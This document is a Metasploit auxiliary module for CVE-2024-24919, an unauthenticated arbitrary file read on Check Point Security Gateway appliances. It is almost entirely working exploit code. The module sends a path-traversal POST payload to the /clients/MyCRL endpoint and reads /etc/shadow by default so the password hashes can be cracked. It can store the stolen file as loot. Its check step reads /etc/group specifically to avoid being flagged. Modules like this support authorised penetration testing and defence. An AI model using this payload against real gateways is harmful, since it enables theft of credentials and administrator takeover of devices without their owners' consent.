Check Point Security Gateway Arbitrary File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Check Point Security Gateway Arbitrary File Read',  
'Description' => %q{  
This module leverages an unauthenticated arbitrary root file read vulnerability for  
Check Point Security Gateway appliances. When the IPSec VPN or Mobile Access blades  
are enabled on affected devices, traversal payloads can be used to read any files on  
the local file system. Password hashes read from disk may be cracked, potentially  
resulting in administrator-level access to the target device. This vulnerability is  
tracked as CVE-2024-24919.  
},  
'Author' => [ 'remmons-r7' ],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
# At the time of module development, no IOCs for this local file disclosure are known  
'SideEffects' => [],  
'Reliability' => []  
},  
'DefaultOptions' => { 'SSL' => true },  
'References' => [  
# Vendor advisory  
[ 'URL', 'https://support.checkpoint.com/results/sk/sk182336' ],  
# Rapid7 ETR advisory for CVE-2024-24919  
[ 'URL', 'https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/' ],  
# Publication of first proof-of-concept exploit  
[ 'URL', 'https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/' ]  
]  
)  
)  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]),  
OptString.new('TARGETFILE', [true, 'The target file to read. This should be a full Linux file path. Files containing binary data may not be read accurately', '/etc/shadow']),  
OptString.new('TARGETURI', [true, 'The URI path to Check Point Security Gateway', '/'])  
]  
)  
end  
  
def check  
# Attempt to read the /etc/group file (used in check due to lower likelihood of being flagged vs something like /etc/shadow)  
res_file = read_file('/etc/group')  
  
# Check for connection failure  
return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to complete web request') unless res_file  
  
# If the response body includes the string "root", we can assume the target is vulnerable  
unless res_file.body.include?('root')  
return Msf::Exploit::CheckCode::Safe('Arbitrary file read failed - the target did not respond with the requested file')  
end  
  
Msf::Exploit::CheckCode::Vulnerable('Arbitrary file read successful!')  
end  
  
def run  
# After the auto check confirms the target is vulnerable, attempt to leak the specified target file  
file_name = datastore['TARGETFILE']  
res_read_file = read_file(file_name)  
  
# Check for connection failure  
fail_with(Failure::Unknown, 'Connection failed - unable to complete web request') unless res_read_file  
  
# If the response indicates that the target file does not exist, fail with NotFound  
if (res_read_file&.code == 404) || (res_read_file.body.include? 'The URL you requested could not be found on this server.')  
fail_with(Failure::NotFound, 'The requested file was not found - the target file does not exist or the system cannot read it')  
end  
  
# If the vulnerable server responds with a status other than the expected 200 or 404 (for example, a WAF 403), fail with UnexpectedReply  
if res_read_file&.code != 200  
fail_with(Failure::UnexpectedReply, "The application did not respond with a 200 as expected - the HTTP response code was: #{res_read_file&.code}")  
end  
  
# Assign variable with file contents, then store the file in loot or print the contents  
file_data = res_read_file.body  
  
if datastore['STORE_LOOT']  
store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'File read from Check Point Security Gateway server')  
print_good('Stored the file data to loot...')  
else  
# A new line is sent before file contents for better readability  
print_good("File read succeeded! \n#{file_data}")  
end  
end  
  
# Performs a POST request with a traversal payload in the body  
# Responses should either be a 200 with only the file contents in the body or a 404 for files that do not exist  
def read_file(fname)  
send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'clients', 'MyCRL'),  
'headers' => { 'Connection' => 'close' },  
'data' => "aCSHELL/../../../../../../../../../..#{fname}"  
}  
)  
end  
end  
`